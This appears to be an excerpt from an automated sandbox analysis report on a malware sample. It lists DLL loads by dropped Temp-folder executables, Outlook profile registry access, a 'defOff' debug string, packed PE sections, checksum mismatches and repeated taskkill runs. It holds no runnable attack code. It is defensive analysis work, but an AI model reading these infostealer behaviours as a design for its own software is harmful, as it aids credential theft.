Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1826816 > 1048576

Source: file.exe

Static PE information: Raw size of cyeoavrb is bigger than: 0x100000 < 0x1a4200

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2807434027.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2807434027.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 7250ce8e20.exe, 0000001B.00000003.3361717288.0000000007DF0000.00000004.00001000.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000002.3496702285.0000000005E02000.00000040.00000800.00020000.00000000.sdmp, 8865d2703a.exe, 0000002C.00000003.3359256846.0000000005280000.00000004.00001000.00020000.00000000.sdmp, 8865d2703a.exe, 0000002C.00000002.3497387100.0000000000192000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.a10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cyeoavrb:EW;yqyctdil:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cyeoavrb:EW;yqyctdil:EW;.taggant:EW;
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Unpacked PE file: 23.2.DocumentsHDGCAAFBFB.exe.860000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lcjijwvn:EW;ecvanuxr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lcjijwvn:EW;ecvanuxr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Unpacked PE file: 27.2.7250ce8e20.exe.230000.0.unpack :EW;.rsrc :W;.idata :W; :EW;wwpoecnv:EW;qkpdvlzx:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;wwpoecnv:EW;qkpdvlzx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Unpacked PE file: 30.2.35e66d06ff.exe.e90000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cyeoavrb:EW;yqyctdil:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cyeoavrb:EW;yqyctdil:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 35.2.skotes.exe.d20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lcjijwvn:EW;ecvanuxr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lcjijwvn:EW;ecvanuxr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Unpacked PE file: 44.2.8865d2703a.exe.190000.0.unpack :EW;.rsrc:W;.idata :W;ogtxsohc:EW;iyarjevt:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Unpacked PE file: 48.2.35e66d06ff.exe.e90000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cyeoavrb:EW;yqyctdil:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cyeoavrb:EW;yqyctdil:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C953480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6C953480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 8865d2703a.exe.24.dr	Static PE information: real checksum: 0x2be4f2 should be: 0x2b3c59
Source: DocumentsHDGCAAFBFB.exe.0.dr	Static PE information: real checksum: 0x1dd388 should be: 0x1dd720
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x43c1a9 should be: 0x437ac0
Source: 9b3207e1a5.exe.24.dr	Static PE information: real checksum: 0x43c1a9 should be: 0x437ac0
Source: random[2].exe0.24.dr	Static PE information: real checksum: 0x2be4f2 should be: 0x2b3c59
Source: 35e66d06ff.exe.24.dr	Static PE information: real checksum: 0x1c42a7 should be: 0x1bfb86
Source: random[1].exe0.24.dr	Static PE information: real checksum: 0x1c42a7 should be: 0x1bfb86
Source: random[1].exe.24.dr	Static PE information: real checksum: 0x1dcdbc should be: 0x1dea0d
Source: file.exe	Static PE information: real checksum: 0x1c42a7 should be: 0x1bfb86
Source: 7250ce8e20.exe.24.dr	Static PE information: real checksum: 0x1dcdbc should be: 0x1dea0d
Source: skotes.exe.23.dr	Static PE information: real checksum: 0x1dd388 should be: 0x1dd720

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: cyeoavrb
Source: file.exe	Static PE information: section name: yqyctdil
Source: file.exe	Static PE information: section name: .taggant
Source: DocumentsHDGCAAFBFB.exe.0.dr	Static PE information: section name:
Source: DocumentsHDGCAAFBFB.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsHDGCAAFBFB.exe.0.dr	Static PE information: section name:
Source: DocumentsHDGCAAFBFB.exe.0.dr	Static PE information: section name: lcjijwvn
Source: DocumentsHDGCAAFBFB.exe.0.dr	Static PE information: section name: ecvanuxr
Source: DocumentsHDGCAAFBFB.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: ezqiassj
Source: random[1].exe.0.dr	Static PE information: section name: grxfuzyp
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.23.dr	Static PE information: section name:
Source: skotes.exe.23.dr	Static PE information: section name: .idata
Source: skotes.exe.23.dr	Static PE information: section name:
Source: skotes.exe.23.dr	Static PE information: section name: lcjijwvn
Source: skotes.exe.23.dr	Static PE information: section name: ecvanuxr
Source: skotes.exe.23.dr	Static PE information: section name: .taggant
Source: 9b3207e1a5.exe.24.dr	Static PE information: section name:
Source: 9b3207e1a5.exe.24.dr	Static PE information: section name: .rsrc
Source: 9b3207e1a5.exe.24.dr	Static PE information: section name: .idata
Source: 9b3207e1a5.exe.24.dr	Static PE information: section name:
Source: 9b3207e1a5.exe.24.dr	Static PE information: section name: ezqiassj
Source: 9b3207e1a5.exe.24.dr	Static PE information: section name: grxfuzyp
Source: 9b3207e1a5.exe.24.dr	Static PE information: section name: .taggant
Source: random[1].exe.24.dr	Static PE information: section name:
Source: random[1].exe.24.dr	Static PE information: section name: .rsrc
Source: random[1].exe.24.dr	Static PE information: section name: .idata
Source: random[1].exe.24.dr	Static PE information: section name:
Source: random[1].exe.24.dr	Static PE information: section name: wwpoecnv
Source: random[1].exe.24.dr	Static PE information: section name: qkpdvlzx
Source: random[1].exe.24.dr	Static PE information: section name: .taggant
Source: 7250ce8e20.exe.24.dr	Static PE information: section name:
Source: 7250ce8e20.exe.24.dr	Static PE information: section name: .rsrc
Source: 7250ce8e20.exe.24.dr	Static PE information: section name: .idata
Source: 7250ce8e20.exe.24.dr	Static PE information: section name:
Source: 7250ce8e20.exe.24.dr	Static PE information: section name: wwpoecnv
Source: 7250ce8e20.exe.24.dr	Static PE information: section name: qkpdvlzx
Source: 7250ce8e20.exe.24.dr	Static PE information: section name: .taggant
Source: random[1].exe0.24.dr	Static PE information: section name:
Source: random[1].exe0.24.dr	Static PE information: section name: .idata
Source: random[1].exe0.24.dr	Static PE information: section name:
Source: random[1].exe0.24.dr	Static PE information: section name: cyeoavrb
Source: random[1].exe0.24.dr	Static PE information: section name: yqyctdil
Source: random[1].exe0.24.dr	Static PE information: section name: .taggant
Source: 35e66d06ff.exe.24.dr	Static PE information: section name:
Source: 35e66d06ff.exe.24.dr	Static PE information: section name: .idata
Source: 35e66d06ff.exe.24.dr	Static PE information: section name:
Source: 35e66d06ff.exe.24.dr	Static PE information: section name: cyeoavrb
Source: 35e66d06ff.exe.24.dr	Static PE information: section name: yqyctdil
Source: 35e66d06ff.exe.24.dr	Static PE information: section name: .taggant
Source: random[2].exe0.24.dr	Static PE information: section name:
Source: random[2].exe0.24.dr	Static PE information: section name: .idata
Source: random[2].exe0.24.dr	Static PE information: section name: ogtxsohc
Source: random[2].exe0.24.dr	Static PE information: section name: iyarjevt
Source: random[2].exe0.24.dr	Static PE information: section name: .taggant
Source: 8865d2703a.exe.24.dr	Static PE information: section name:
Source: 8865d2703a.exe.24.dr	Static PE information: section name: .idata
Source: 8865d2703a.exe.24.dr	Static PE information: section name: ogtxsohc
Source: 8865d2703a.exe.24.dr	Static PE information: section name: iyarjevt
Source: 8865d2703a.exe.24.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98B536 push ecx; ret	0_2_6C98B549
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_3_00D80444 push ebx; retf	27_3_00D80456
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_3_00D80444 push ebx; retf	27_3_00D80456
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_3_00D80444 push ebx; retf	27_3_00D80456
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_3_00D80444 push ebx; retf	27_3_00D80456
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_3_00D80444 push ebx; retf	27_3_00D80456
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_3_00D7F868 push cs; ret	27_3_00D7F86A
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_3_00D7F868 push cs; ret	27_3_00D7F86A
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_3_00D7F868 push cs; ret	27_3_00D7F86A
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_3_00D7F868 push cs; ret	27_3_00D7F86A
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_3_00D7F868 push cs; ret	27_3_00D7F86A
